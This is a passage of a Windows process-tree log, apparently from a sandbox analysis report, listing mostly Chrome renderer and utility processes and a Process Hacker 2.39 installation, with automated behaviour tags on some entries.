                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3156,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3288 /prefetch:1
                                                                                              3⤵
                                                                                                PID:4924
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4576,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4604 /prefetch:1
                                                                                                3⤵
                                                                                                  PID:5272
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4744,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4752 /prefetch:8
                                                                                                  3⤵
                                                                                                    PID:5308
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4740,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3688 /prefetch:8
                                                                                                    3⤵
                                                                                                      PID:5384
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4896,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5008 /prefetch:8
                                                                                                      3⤵
                                                                                                        PID:5420
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4916,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4980 /prefetch:8
                                                                                                        3⤵
                                                                                                          PID:5656
                                                                                                        • C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --reenable-autoupdates --system-level
                                                                                                          3⤵
                                                                                                          • Drops file in Program Files directory
                                                                                                          PID:5836
                                                                                                          • C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\123.0.6312.123\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x264,0x268,0x26c,0x240,0x270,0x7ff6342a4698,0x7ff6342a46a4,0x7ff6342a46b0
                                                                                                            4⤵
                                                                                                            • Drops file in Program Files directory
                                                                                                            PID:5980
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5040,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4756 /prefetch:8
                                                                                                          3⤵
                                                                                                            PID:6080
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4736,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5104 /prefetch:8
                                                                                                            3⤵
                                                                                                              PID:5280
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3672,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4968 /prefetch:8
                                                                                                              3⤵
                                                                                                                PID:5172
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5240,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4756 /prefetch:8
                                                                                                                3⤵
                                                                                                                  PID:5876
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4880,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5216 /prefetch:2
                                                                                                                  3⤵
                                                                                                                    PID:5932
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4448,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4788 /prefetch:1
                                                                                                                    3⤵
                                                                                                                      PID:5860
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=3216,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3204 /prefetch:1
                                                                                                                      3⤵
                                                                                                                        PID:5388
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=5136,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4412 /prefetch:1
                                                                                                                        3⤵
                                                                                                                          PID:5668
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=4028,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5156 /prefetch:1
                                                                                                                          3⤵
                                                                                                                            PID:5164
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=5616,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5608 /prefetch:1
                                                                                                                            3⤵
                                                                                                                              PID:5704
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=5716,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3252 /prefetch:1
                                                                                                                              3⤵
                                                                                                                                PID:212
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=6044,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3284 /prefetch:1
                                                                                                                                3⤵
                                                                                                                                  PID:4680
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=4040,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5956 /prefetch:1
                                                                                                                                  3⤵
                                                                                                                                    PID:5472
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=6096,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6228 /prefetch:1
                                                                                                                                    3⤵
                                                                                                                                      PID:6128
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=5600,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3292 /prefetch:1
                                                                                                                                      3⤵
                                                                                                                                        PID:2464
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=3140,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3412 /prefetch:1
                                                                                                                                        3⤵
                                                                                                                                          PID:2888
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=5644,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6392 /prefetch:1
                                                                                                                                          3⤵
                                                                                                                                            PID:388
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=6592,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6608 /prefetch:1
                                                                                                                                            3⤵
                                                                                                                                              PID:5364
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --field-trial-handle=6588,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6836 /prefetch:1
                                                                                                                                              3⤵
                                                                                                                                                PID:5284
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=7280,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7300 /prefetch:8
                                                                                                                                                3⤵
                                                                                                                                                  PID:2448
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=7276,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7328 /prefetch:8
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5808
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --field-trial-handle=7540,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7624 /prefetch:1
                                                                                                                                                    3⤵
                                                                                                                                                      PID:6036
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --field-trial-handle=7784,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7776 /prefetch:1
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4560
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=7920,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7924 /prefetch:1
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2968
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=240,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7444 /prefetch:8
                                                                                                                                                          3⤵
                                                                                                                                                            PID:6236
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --field-trial-handle=3336,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5008 /prefetch:1
                                                                                                                                                            3⤵
                                                                                                                                                              PID:6404
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --field-trial-handle=6252,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7528 /prefetch:1
                                                                                                                                                              3⤵
                                                                                                                                                                PID:6416
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=3276,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8184 /prefetch:1
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6476
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --field-trial-handle=6304,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6292 /prefetch:1
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:6544
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --field-trial-handle=7452,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7488 /prefetch:1
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:6604
                                                                                                                                                                    • C:\Users\Admin\Downloads\processhacker-2.39-setup.exe
                                                                                                                                                                      "C:\Users\Admin\Downloads\processhacker-2.39-setup.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                      PID:6692
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-R0B6H.tmp\processhacker-2.39-setup.tmp
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-R0B6H.tmp\processhacker-2.39-setup.tmp" /SL5="$70462,1874675,150016,C:\Users\Admin\Downloads\processhacker-2.39-setup.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                        PID:4080
                                                                                                                                                                        • C:\Program Files\Process Hacker 2\ProcessHacker.exe
                                                                                                                                                                          "C:\Program Files\Process Hacker 2\ProcessHacker.exe"
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                          • Modifies system certificate store
                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                          PID:8116
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --field-trial-handle=5352,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3332 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:6836
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=7432,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4956 /prefetch:1
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:6848
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=8072,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8096 /prefetch:1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:6856
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --field-trial-handle=8104,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8308 /prefetch:1
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:6864
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --field-trial-handle=8284,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8432 /prefetch:1
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:6872
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --field-trial-handle=8408,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8656 /prefetch:1
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:6880
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=8440,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8680 /prefetch:1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:6888
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --field-trial-handle=8556,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8804 /prefetch:1
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:6896
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=8780,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8936 /prefetch:1
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6904
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --field-trial-handle=8916,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=9140 /prefetch:1
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:6912
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=8924,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=9260 /prefetch:1
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:6920
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=9132,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=9376 /prefetch:1
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:6932
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --field-trial-handle=9384,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=9508 /prefetch:1
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:6940
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --field-trial-handle=9728,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=9740 /prefetch:1
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:6948
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --field-trial-handle=10036,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=10160 /prefetch:1
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:6720
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --field-trial-handle=9764,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6396 /prefetch:1
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:7772
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --field-trial-handle=10884,i,12930405728415895814,10251746326941452627,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4132 /prefetch:1
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:7780
                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:3568
                                                                                                                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:3776
                                                                                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                        PID:3980
                                                                                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                        • Drops file in Program Files directory
                                                                                                                                                                                                        • Suspicious use of UnmapMainImage
                                                                                                                                                                                                        PID:4120
                                                                                                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:5096
                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                          1⤵
